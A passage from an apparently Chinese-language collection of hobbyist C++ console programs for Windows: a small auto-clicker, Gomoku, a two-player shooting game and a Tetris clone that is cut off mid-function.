sx=i; sy=j; } } } bfs(sx,sy); return 0; }
//代码复制区(按空格开启连点) #include<stdio.h> #include<windows.h> int main() { while(1) { if(GetAsyncKeyState(VK_SPACE))//按下空格,开始执行 { while(1) { mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0); Sleep(723); if(GetAsyncKeyState(VK_ESCAPE))return 0; } } } return 0; }
C++小游戏(五子棋)
#include <iostream> using namespace std; int b[20][20]; int n; int m; void qipan() { system("cls"); int k = 1; for (int k = 0;k < n;++k) { for (int j = 0;j < m;++j) { cout << " ---- "; } cout << endl; for (int i = 0;i < n;++i) { for (int j = 0;j < m;++j) { if (b[i][j] < 10 && b[i][j] >= 0) cout << "| " << 0 << b[i][j] << " |"; else if (b[i][j] == -1) cout << "| " << "█" << " |"; else if (b[i][j] == -2) cout << "|" << " ○ " << "|"; else cout << "| " << b[i][j] << " |"; k++; } cout << endl; for (int j = 0;j < m;++j) { cout << " ---- "; } cout << endl; } } } void success() { long time; for (;;) { system("color a"); for (time = 0; time < 99999999; time++); system("color b"); for (time = 0; time < 99999999; time++); system("color c"); for (time = 0; time < 99999999; time++); system("color d"); for (time = 0; time < 99999999; time++); system("color e"); for (time = 0; time < 99999999; time++); system("color f"); for (time = 0; time < 99999999; time++); system("color 0"); for (time = 0; time < 99999999; time++); system("color 1"); for (time = 0; time < 99999999; time++); system("color 2"); for (time = 0; time < 99999999; time++); system("color 3"); for (time = 0; time < 99999999; time++); system("color 4"); for (time = 0; time < 99999999; time++); system("color 5"); for (time = 0; time < 99999999; time++); system("color 6"); for (time = 0; time < 99999999; time++); system("color 7"); for (time = 0; time < 99999999; time++); system("color 8"); for (time = 0; time < 99999999; time++); system("color 9"); } } int main() { cout << "请选择你们想要的棋盘大小(棋盘的面积请不要大于100)" << endl; cout << "棋盘的长:(推荐长度为10)" << endl; cin >> m; cout << "棋盘的宽:(推荐长度为10)" << endl; cin >> n; for (int i = 0;i < n;++i) { for (int j = 0;j < m;++j) { b[i][j] = i * m + j; } } qipan(); while (1) { int x; cout << "请玩家一输入:" << endl; cin >> x; if (x == 648) { cout << "玩家一使用系统外挂" << endl; cout << "游戏结束" << endl; cout << "玩家一获胜" << endl; success(); return 0; } for (int i = 0;i < n;++i) { for (int j = 0;j < m;++j) { if (b[i][j] == x) b[i][j] = -1; } } for (int i = 0;i < n;++i) { for (int j = 0;j < m - 4;++j) { if ((b[i][j] == -1 && b[i][j + 1] == -1 && b[i][j + 2] == -1 && b[i][j + 3] == -1 && b[i][j + 4] == -1) || (b[i][j] == -1 && b[i + 1][j] == -1 && b[i + 2][j] == -1 && b[i + 3][j] == -1 && b[i + 4][j] == -1) || (b[i][j] == -1 && b[i + 1][j + 1] == -1 && b[i + 2][j + 2] == -1 && b[i + 3][j + 3] == -1 && b[i + 4][j + 4] == -1)) { cout << "游戏结束" << endl; cout << "玩家一获胜" << endl; success(); return 0; } else if (i >= 4 && (b[i][j] == -1 && b[i - 1][j + 1] == -1 && b[i - 2][j + 2] == -1 && b[i - 3][j + 3] == -1 && b[i - 4][j + 4] == -1)) { cout << "游戏结束" << endl; cout << "玩家一获胜" << endl; success(); return 0; } } } qipan(); cout << "请玩家二输入:" << endl; cin >> x; if (x == 648) { cout << "玩家二使用系统外挂" << endl; cout << "游戏结束" << endl; cout << "玩家二获胜" << endl; success(); return 0; } for (int i = 0;i < n;++i) { for (int j = 0;j < m;++j) { if (b[i][j] == x) b[i][j] = -2; } } qipan(); for (int i = 0;i < n;++i) { for (int j = 0;j < m - 4;++j) { if ((b[i][j] == -2 && b[i][j + 1] == -2 && b[i][j + 2] == -2 && b[i][j + 3] == -2 && b[i][j + 4] == -2) || (b[i][j] == -2 && b[i + 1][j] == -2 && b[i + 2][j] == -2 && b[i + 3][j] == -2 && b[i + 4][j] == -2) || (b[i][j] == -2 && b[i + 1][j + 1] == -2 && b[i + 2][j + 2] == -2 && b[i + 3][j + 3] == -2 && b[i + 4][j + 4] == -2)) { cout << "游戏结束" << endl; cout << "玩家二获胜" << endl; success(); return 0; } else if (i >= 4 && (b[i][j] == -2 && b[i - 1][j + 1] == -2 && b[i - 2][j + 2] == -2 && b[i - 3][j + 3] == -2 && b[i - 4][j + 4] == -2)) { cout << "游戏结束" << endl; cout << "玩家二获胜" << endl; success(); return 0; } } } } }
————————[AC]————————
C++小游戏(简易枪战)
#include<iostream> #include<cstdio> #include<windows.h> #include<conio.h> #pragma warning(disable : 4996) using namespace std; int SIZ = 20; HANDLE hout = GetStdHandle(STD_OUTPUT_HANDLE); COORD coord; HANDLE hCon; enum Color { DARKBLUE = 1, DARKGREEN, DARKTEAL, DARKRED, DARKPINK, DARKYELLOW, GRAY, DARKGRAY, BLUE, GREEN, TEAL, RED, PINK, YELLOW, WHITE }; void SetColor(Color c) { if (hCon == NULL) hCon = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTextAttribute(hCon, c); } SYSTEMTIME sys; //sys.wYear,sys.wMonth,sys.wDay,sys.wHour,sys.wMinute, sys.wSecond,sys.wMilliseconds,sys.wDayOfWeek struct PLAYER { int x, y; int hp; int gun; int direct; } p1, p2; int map[1005][1005]; int abs(int x) { if (x < 0) return -x; return x; } void locate(int x, int y) { coord.X = y - 1; coord.Y = x - 1; SetConsoleCursorPosition(hout, coord); } void print_map() { locate(1, 1); SetColor(GRAY); for (int i = 1; i <= SIZ; i++) cout << "■"; locate(SIZ, 1); for (int i = 1; i <= SIZ; i++) cout << "■"; for (int i = 2; i < SIZ; i++) { locate(i, 1); cout << "■"; locate(i, SIZ * 2 - 1); cout << "■"; } locate(SIZ + 1, 1); SetColor(WHITE); } void create_tree(int x, int y) { map[x][y] = map[x + 1][y] = map[x - 1][y] = map[x][y + 1] = map[x][y - 1] = 2; } void use_map(int x) { if (x == 1) { SIZ = 20; SetColor(DARKGREEN); map[16][6] = map[15][6] = map[17][6] = map[16][7] = map[16][5] = map[14][13] = map[13][12] = map[13][13] = 2; for (int i = 2; i < SIZ; i++) { for (int j = 2; j < SIZ; j++) { if (map[i][j] == 2) { locate(i, j * 2 - 1); cout << "■"; } } } SetColor(GRAY); for (int i = 5; i <= 15; i++) { map[i][i] = 1; locate(i, i * 2 - 1); cout << "■"; } SetColor(WHITE); } else if (x == 2) { SIZ = 30; SetColor(GRAY); for (int i = 4; i <= 26; i++) { if (i == 13 || i == 14 || i == 15) continue; map[i][4] = map[4][i] = map[26][i] = map[i][26] = 1; } for (int i = 1; i <= SIZ; i++) { for (int j = 1; j <= SIZ; j++) { if (map[i][j] == 1) { locate(i, j * 2 - 1); cout << "■"; } } } SetColor(DARKGREEN); for (int i = 10; i <= 20; i++) { if (i == 13 || i == 17) continue; map[i][10] = map[10][i] = map[20][i] = map[i][20] = 2; } create_tree(5, 5); create_tree(18, 18); for (int i = 1; i <= SIZ; i++) { for (int j = 1; j <= SIZ; j++) { if (map[i][j] == 2) { locate(i, j * 2 - 1); cout << "■"; } } } SetColor(WHITE); } } void cleanbody(int x, int y); void putbody(int x, int y, int z); void player_init() { p1.hp = p2.hp = 300; p1.gun = p2.gun = 1; p1.direct = 4; p2.direct = 2; p1.x = 2; p1.y = 2; p2.x = SIZ - 1; p2.y = SIZ - 1; putbody(p1.x, p1.y, 1); putbody(p2.x, p2.y, 2); } void mapinit() { for (int i = 1; i <= SIZ; i++) { map[i][1] = map[1][i] = map[SIZ][i] = map[i][SIZ] = 1; } } void init() { printf("Use Which Map?\n"); int x; cin >> x; system("cls"); use_map(x); mapinit(); print_map(); player_init(); } void putbody(int x, int y, int z) { if (z == 1) SetColor(BLUE); else if (z == 2) SetColor(RED); locate(x, y * 2 - 1); cout << "■"; SetColor(WHITE); } void cleanbody(int x, int y) { locate(x, y * 2 - 1); cout << " "; } /* LIST direct: w 1 a 2 s 3 d 4 gun: usp 1 mimigun 2 awp 3 block: void 0 stone 1 tree 2 player 3 clip 4 */ bool judge(int x, int y) { if (map[x][y] == 1) return false; if (map[x][y] == 2) return false; if (map[x][y] == 3) return false; return true; } bool judge_gun(int x, int y, int a) { if (map[x][y] == 1) return 0; if (map[x][y] == 2) return 0; if (map[x][y] == 3) { if (p1.x == x && p1.y == y) { if (a == 1)p1.hp -= 50; else if (a == 2)p1.hp -= 100; else if (a == 3)p1.hp -= 300; } else { if (a == 1)p2.hp -= 50; else if (a == 2)p2.hp -= 100; else if (a == 3)p2.hp -= 300; } return 0; } return 1; } int cnt; struct Clip { int x, y; int derect; int force; int start; bool flag; } clip[1000000]; void create_clip(int y, int x, int a, int b,int g) { int X, Y; if (y == 1) { if (!judge_gun(a - 1, b,g)) return; X = a - 1; Y = b; } else if (y == 2) { if (!judge_gun(a, b - 1,g)) return; X = a; Y = b - 1; } else if (y == 3) { if (!judge_gun(a + 1, b,g)) return; X = a + 1; Y = b; } else if (y == 4) { if (!judge_gun(a, b + 1,g)) return; X = a; Y = b + 1; } cnt++; GetLocalTime(&sys); clip[cnt].start = sys.wMilliseconds + sys.wSecond * 60 + sys.wHour * 3600; clip[cnt].x = X; clip[cnt].y = Y; if (x == 1) { clip[cnt].derect = p1.direct; } else if (x == 2) { clip[cnt].derect = p2.direct; } } void shoot(int x,int g) { if (x == 1) { create_clip(p1.direct, 1, p1.x, p1.y,g); } else if (x == 2) { create_clip(p2.direct, 2, p2.x, p2.y,g); } } void clean_clip(int x, int y) { locate(x, y * 2 - 1); cout << " "; locate(1, 1); } void print_clip(int x, int y, int i) { if (clip[i].flag) { clean_clip(x, y); return; } locate(x, y * 2 - 1); SetColor(YELLOW); cout << "''"; locate(1, 1); } void clipmove(int g) { GetLocalTime(&sys); int t = sys.wMilliseconds + sys.wSecond * 60 + sys.wHour * 3600; for (int i = 1; i <= cnt; i++) { if (clip[i].flag) continue; if (abs(clip[i].start - t) > 50) { clip[i].start = t; int x = clip[i].x; int y = clip[i].y; if (clip[i].derect == 1) { if (!judge_gun(clip[i].x - 1, clip[i].y,g)) { clip[i].flag = 1; clean_clip(x, y); continue; } clean_clip(clip[i].x, clip[i].y); clip[i].x--; print_clip(clip[i].x, clip[i].y, i); } else if (clip[i].derect == 2) { if (!judge_gun(clip[i].x, clip[i].y - 1,g)) { clip[i].flag = 1; clean_clip(x, y); continue; } clean_clip(clip[i].x, clip[i].y); clip[i].y--; print_clip(clip[i].x, clip[i].y, i); } else if (clip[i].derect == 3) { if (!judge_gun(clip[i].x + 1, clip[i].y,g)) { clip[i].flag = 1; clean_clip(x, y); continue; } clean_clip(clip[i].x, clip[i].y); clip[i].x++; print_clip(clip[i].x, clip[i].y, i); } else if (clip[i].derect == 4) { if (!judge_gun(clip[i].x, clip[i].y + 1,g)) { clip[i].flag = 1; clean_clip(x, y); continue; } clean_clip(clip[i].x, clip[i].y); clip[i].y++; print_clip(clip[i].x, clip[i].y, i); } } } } int judge_hp() { int x = p1.hp; int y = p2.hp; if (x < 0 && y<0 && x > y) swap(x, y); if (x <= 0) { locate(1, 1); system("cls"); printf("GAME OVER!\nTHE WINNER IS P2!\n"); return 1; } else if (y <= 0) { locate(1, 1); system("cls"); printf("GAME OVER!\nTHE WINNER IS P1!\n"); return 1; } return 0; } void prog(int g) { int t; char ch; while (true) { if (kbhit()) { ch = getch(); if (ch == 'w' && judge(p1.x - 1, p1.y)) { p1.direct = 1; cleanbody(p1.x, p1.y); map[p1.x][p1.y] = 0; putbody(--p1.x, p1.y, 1); map[p1.x][p1.y] = 3; } else if (ch == '8' && judge(p2.x - 1, p2.y)) { p2.direct = 1; cleanbody(p2.x, p2.y); map[p2.x][p2.y] = 0; putbody(--p2.x, p2.y, 2); map[p2.x][p2.y] = 3; } else if (ch == 'a' && judge(p1.x, p1.y - 1)) { p1.direct = 2; cleanbody(p1.x, p1.y); map[p1.x][p1.y] = 0; putbody(p1.x, --p1.y, 1); map[p1.x][p1.y] = 3; } else if (ch == '4' && judge(p2.x, p2.y - 1)) { p2.direct = 2; cleanbody(p2.x, p2.y); map[p2.x][p2.y] = 0; putbody(p2.x, --p2.y, 2); map[p2.x][p2.y] = 3; } else if (ch == 's' && judge(p1.x + 1, p1.y)) { p1.direct = 3; cleanbody(p1.x, p1.y); map[p1.x][p1.y] = 0; putbody(++p1.x, p1.y, 1); map[p1.x][p1.y] = 3; } else if (ch == '5' && judge(p2.x + 1, p2.y)) { p2.direct = 3; cleanbody(p2.x, p2.y); map[p2.x][p2.y] = 0; putbody(++p2.x, p2.y, 2); map[p2.x][p2.y] = 3; } else if (ch == 'd' && judge(p1.x, p1.y + 1)) { p1.direct = 4; cleanbody(p1.x, p1.y); map[p1.x][p1.y] = 0; putbody(p1.x, ++p1.y, 1); map[p1.x][p1.y] = 3; } else if (ch == '6' && judge(p2.x, p2.y + 1)) { p2.direct = 4; cleanbody(p2.x, p2.y); map[p2.x][p2.y] = 0; putbody(p2.x, ++p2.y, 2); map[p2.x][p2.y] = 3; } else if (ch == '0') { shoot(2,g); } else if (ch == ' ') { shoot(1,g); } Sleep(20); } clipmove(g); t=judge_hp(); if (t == 1) { Sleep(2000); break; } } } int welcome() { system("cls"); printf("操作方法:\n玩家1 wasd控制移动,空格攻击\n玩家2 数字小键盘4568控制移动,0攻击\n"); printf("Which GUN do you want to choose?\n"); printf("1.usp------2.mimigun------3.awp\n"); int a; cin >> a; return a; } int main() { int i; for (;;) { int g; g = welcome(); GetLocalTime(&sys); init(); prog(g); printf("Continue?\n1.Yes------2.NO\n"); cin >> i; if (i == 2)exit(0); } return 0; }
————————AC———————— C++小游戏(俄罗斯方块)
#include <iostream> #include <string> #include <ctime> #include <cstdlib> #include <windows.h> #include <conio.h> using namespace std; int block00[4][4] = { { 10,0,0,0 },{ 1,1,1,1 },{ 0,0,0,0 },{ 0,0,0,0 } }; int block01[4][4] = { { 11,0,1,0 },{ 0,0,1,0 },{ 0,0,1,0 },{ 0,0,1,0 } }; int block02[4][4] = { { 12,0,0,0 },{ 0,0,0,0 },{ 1,1,1,0 },{ 0,1,0,0 } }; int block03[4][4] = { { 13,0,0,0 },{ 0,1,0,0 },{ 1,1,0,0 },{ 0,1,0,0 } }; int block04[4][4] = { { 14,0,0,0 },{ 0,0,0,0 },{ 0,1,0,0 },{ 1,1,1,0 } }; int block05[4][4] = { { 15,0,0,0 },{ 0,1,0,0 },{ 0,1,1,0 },{ 0,1,0,0 } }; int block06[4][4] = { { 16,0,0,0 },{ 0,0,0,0 },{ 1,1,1,0 },{ 1,0,0,0 } }; int block07[4][4] = { { 17,0,0,0 },{ 1,1,0,0 },{ 0,1,0,0 },{ 0,1,0,0 } }; int block08[4][4] = { { 18,0,0,0 },{ 0,0,0,0 },{ 0,0,1,0 },{ 1,1,1,0 } }; int block09[4][4] = { { 19,0,0,0 },{ 0,1,0,0 },{ 0,1,0,0 },{ 0,1,1,0 } }; int block10[4][4] = { { 20,0,0,0 },{ 0,0,0,0 },{ 1,1,1,0 },{ 0,0,1,0 } }; int block11[4][4] = { { 21,0,0,0 },{ 0,1,0,0 },{ 0,1,0,0 },{ 1,1,0,0 } }; int block12[4][4] = { { 22,0,0,0 },{ 0,0,0,0 },{ 1,0,0,0 },{ 1,1,1,0 } }; int block13[4][4] = { { 23,0,0,0 },{ 0,1,1,0 },{ 0,1,0,0 },{ 0,1,0,0 } }; int block14[4][4] = { { 24,0,0,0 },{ 0,0,0,0 },{ 0,1,1,0 },{ 1,1,0,0 } }; int block15[4][4] = { { 25,0,0,0 },{ 1,0,0,0 },{ 1,1,0,0 },{ 0,1,0,0 } }; int block16[4][4] = { { 26,0,0,0 },{ 0,0,0,0 },{ 1,1,0,0 },{ 0,1,1,0 } }; int block17[4][4] = { { 27,0,0,0 },{ 0,0,1,0 },{ 0,1,1,0 },{ 0,1,0,0 } }; int block18[4][4] = { { 28,0,0,0 },{ 0,0,0,0 },{ 1,1,0,0 },{ 1,1,0,0 } }; void initialWindow(HANDLE hOut);//初始化窗口 void initialPrint(HANDLE hOut);//初始化界面 void gotoXY(HANDLE hOut, int x, int y);//移动光标 void roundBlock(HANDLE hOut, int block[4][4]);//随机生成方块并打印到下一个方块位置 bool collisionDetection(int block[4][4], int map[21][12], int x, int y);//检测碰撞 void printBlock(HANDLE hOut, int block[4][4], int x, int y);//打印方块 void clearBlock(HANDLE hOut, int block[4][4], int x, int y);//消除方块 void myLeft(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//左移 void myRight(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//右移 void myUp(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y);//顺时针旋转90度 int myDown(HANDLE hOut, int block[4][4], int map[21][12], int &x, int y);//加速下落 void myStop(HANDLE hOut, int block[4][4]);//游戏暂停 void gameOver(HANDLE hOut, int block[4][4], int map[21][12]);//游戏结束 void eliminateRow(HANDLE hOut, int map[21][12], int &val, int &fraction, int &checkpoint);//判断是否能消行并更新分值 int main() { int map[21][12]; int blockA[4][4];//候选区的方块 int blockB[4][4];//下落中的方块 int positionX, positionY;//方块左上角的坐标 bool check;//检查方块还能不能下落 char key;//用来存储按键 int val;//用来控制下落速度 int fraction;//用来存储得分 int checkpoint;//用来存储关卡 int times; HANDLE hOut = GetStdHandle(STD_OUTPUT_HANDLE);//获取标准输出设备句柄 initialWindow(hOut); initial: gotoXY(hOut, 0, 0); initialPrint(hOut); check = true; val = 50; fraction = 0; checkpoint = 1; times = val; for (int i = 0; i < 20; ++i) { for (int j = 1; j < 11; ++j) { map[i][j] = 0; } } for (int i = 0; i < 20; ++i) { map[i][0] = map[i][11] = 1; } for (int i = 0; i < 12; ++i) { map[20][i] = 1; } srand((unsigned)time(NULL)); roundBlock(hOut, blockA); while (true) { if (check) { eliminateRow(hOut, map, val, fraction, checkpoint); check = false; positionX = -3; positionY = 4; if (collisionDetection(blockA, map, positionX, positionY)) { for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { blockB[i][j] = blockA[i][j]; } } roundBlock(hOut, blockA); } else { gameOver(hOut, blockA, map); goto initial; } } printBlock(hOut, blockB, positionX, positionY); if (_kbhit()) { key = _getch(); switch (key) { case 72: myUp(hOut, blockB, map, positionX, positionY); break; case 75: myLeft(hOut, blockB, map, positionX, positionY); break; case 77: myRight(hOut, blockB, map, positionX, positionY); break; case 80: switch (myDown(hOut, blockB, map, positionX, positionY)) { case 0: check = false; break; case 1: check = true; break; case 2: gameOver(hOut, blockB, map); goto initial; default: break; } break; case 32: myStop(hOut, blockA); break; case 27: exit(0); default: break; } } Sleep(20); if (0 == --times) { switch (myDown(hOut, blockB, map, positionX, positionY)) { case 0: check = false; break; case 1: check = true; break; case 2: gameOver(hOut, blockB, map); goto initial; default: break; } times = val; } } cin.get(); return 0; } void initialWindow(HANDLE hOut) { SetConsoleTitle("俄罗斯方块"); COORD size = { 80, 25 }; SetConsoleScreenBufferSize(hOut, size); SMALL_RECT rc = { 0, 0, 79, 24 }; SetConsoleWindowInfo(hOut, true, &rc); CONSOLE_CURSOR_INFO cursor_info = { 1, 0 }; SetConsoleCursorInfo(hOut, &cursor_info); } void initialPrint(HANDLE hOut) { SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); for (int i = 0; i < 20; ++i) { cout << "■ ■☆ ☆" << endl; } gotoXY(hOut, 26, 0); cout << "☆☆☆☆☆☆☆☆☆☆☆"; gotoXY(hOut, 0, 20); cout << "■■■■■■■■■■■■☆☆☆☆☆☆☆☆☆☆☆☆☆"; gotoXY(hOut, 26, 1); cout << "分 数: "; gotoXY(hOut, 26, 2); cout << "关 卡: "; gotoXY(hOut, 26, 4); cout << "下一方块:"; gotoXY(hOut, 26, 9); cout << "操作方法:"; gotoXY(hOut, 30, 11); cout << "↑:旋转 ↓:速降"; gotoXY(hOut, 30, 12); cout << "→:右移 ←:左移"; gotoXY(hOut, 30, 13); cout << "空格键:开始/暂停"; gotoXY(hOut, 30, 14); cout << "Esc 键:退出"; gotoXY(hOut, 26, 16); cout << "关 于:"; gotoXY(hOut, 30, 18); cout << "俄罗斯方块V1.0"; gotoXY(hOut, 35, 19); cout << "作者:李国良"; } void gotoXY(HANDLE hOut, int x, int y) { COORD pos; pos.X = x; pos.Y = y; SetConsoleCursorPosition(hOut, pos); } void roundBlock(HANDLE hOut, int block[4][4]) { clearBlock(hOut, block, 5, 15); switch (rand() % 19) { case 0: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block00[i][j]; } } break; case 1: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block01[i][j]; } } break; case 2: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block02[i][j]; } } break; case 3: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block03[i][j]; } } break; case 4: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block04[i][j]; } } break; case 5: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block05[i][j]; } } break; case 6: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block06[i][j]; } } break; case 7: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block07[i][j]; } } break; case 8: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block08[i][j]; } } break; case 9: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block09[i][j]; } } break; case 10: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block10[i][j]; } } break; case 11: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block11[i][j]; } } break; case 12: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block12[i][j]; } } break; case 13: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block13[i][j]; } } break; case 14: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block14[i][j]; } } break; case 15: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block15[i][j]; } } break; case 16: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block16[i][j]; } } break; case 17: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block17[i][j]; } } break; case 18: for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block18[i][j]; } } break; default: break; } printBlock(hOut, block, 5, 15); } bool collisionDetection(int block[4][4], int map[21][12], int x, int y) { for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { if (x + i >= 0 && y + j >= 0 && map[x + i][y + j] == 1 && block[i][j] == 1) { return false; } } } return true; } void printBlock(HANDLE hOut, int block[4][4], int x, int y) { switch (block[0][0]) { case 10: case 11: SetConsoleTextAttribute(hOut, FOREGROUND_GREEN); break; case 12: case 13: case 14: case 15: SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_INTENSITY); break; case 16: case 17: case 18: case 19: SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY); break; case 20: case 21: case 22: case 23: SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_BLUE | FOREGROUND_INTENSITY); break; case 24: case 25: SetConsoleTextAttribute(hOut, FOREGROUND_GREEN | FOREGROUND_INTENSITY); break; case 26: case 27: SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_INTENSITY); break; case 28: SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY); break; default: break; } for (int i = 0; i < 4; ++i) { if (i + x >= 0) { for (int j = 0; j < 4; ++j) { if (block[i][j] == 1) { gotoXY(hOut, 2 * (y + j), x + i); cout << "■"; } } } } } void clearBlock(HANDLE hOut, int block[4][4], int x, int y) { for (int i = 0; i < 4; ++i) { if (i + x >= 0) { for (int j = 0; j < 4; ++j) { if (block[i][j] == 1) { gotoXY(hOut, 2 * (y + j), x + i); cout << " "; } } } } } void gameOver(HANDLE hOut, int block[4][4], int map[21][12]) { SetConsoleTextAttribute(hOut, FOREGROUND_RED | FOREGROUND_INTENSITY); gotoXY(hOut, 9, 8); cout << "GAME OVER"; gotoXY(hOut, 8, 9); cout << "空格键:重来"; gotoXY(hOut, 8, 10); cout << "ESC键:退出"; char key; while (true) { key = _getch(); if (key == 32) { return; } if (key == 27) { exit(0); } } } int myDown(HANDLE hOut, int block[4][4], int map[21][12], int &x, int y) { if (collisionDetection(block, map, x + 1, y)) { clearBlock(hOut, block, x, y); ++x; return 0; } if (x < 0) { return 2; } for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { if (block[i][j] == 1) { map[x + i][y + j] = 1; SetConsoleTextAttribute(hOut, FOREGROUND_BLUE | FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_INTENSITY); gotoXY(hOut, 2 * (y + j), x + i); cout << "■"; } } } return 1; } void myLeft(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y) { if (collisionDetection(block, map, x, y - 1)) { clearBlock(hOut, block, x, y); --y; } } void myRight(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y) { if (collisionDetection(block, map, x, y + 1)) { clearBlock(hOut, block, x, y); ++y; } } void myUp(HANDLE hOut, int block[4][4], int map[21][12], int x, int &y) { switch (block[0][0]) { case 10: if (collisionDetection(block01, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block01[i][j]; } } } break; case 11: if (collisionDetection(block00, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block00[i][j]; } } } else if (collisionDetection(block00, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block00[i][j]; } } --y; } else if (collisionDetection(block00, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block00[i][j]; } } ++y; } else if (collisionDetection(block00, map, x, y - 2)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block00[i][j]; } } y = y - 2; } else if (collisionDetection(block00, map, x, y + 2)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block00[i][j]; } } y = y + 2; } break; case 12: if (collisionDetection(block03, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block03[i][j]; } } } else if (collisionDetection(block03, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block03[i][j]; } } --y; } else if (collisionDetection(block03, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block03[i][j]; } } ++y; } break; case 13: if (collisionDetection(block04, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block04[i][j]; } } } else if (collisionDetection(block04, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block04[i][j]; } } --y; } else if (collisionDetection(block04, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block04[i][j]; } } ++y; } break; case 14: if (collisionDetection(block05, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block05[i][j]; } } } else if (collisionDetection(block05, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block05[i][j]; } } --y; } else if (collisionDetection(block05, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block05[i][j]; } } ++y; } break; case 15: if (collisionDetection(block02, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block02[i][j]; } } } else if (collisionDetection(block02, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block02[i][j]; } } --y; } else if (collisionDetection(block02, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block02[i][j]; } } ++y; } break; case 16: if (collisionDetection(block07, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block07[i][j]; } } } else if (collisionDetection(block07, map, x, y - 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block07[i][j]; } } --y; } else if (collisionDetection(block07, map, x, y + 1)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j = 0; j < 4; ++j) { block[i][j] = block07[i][j]; } } ++y; } break; case 17: if (collisionDetection(block08, map, x, y)) { clearBlock(hOut, block, x, y); for (int i = 0; i < 4; ++i) { for (int j 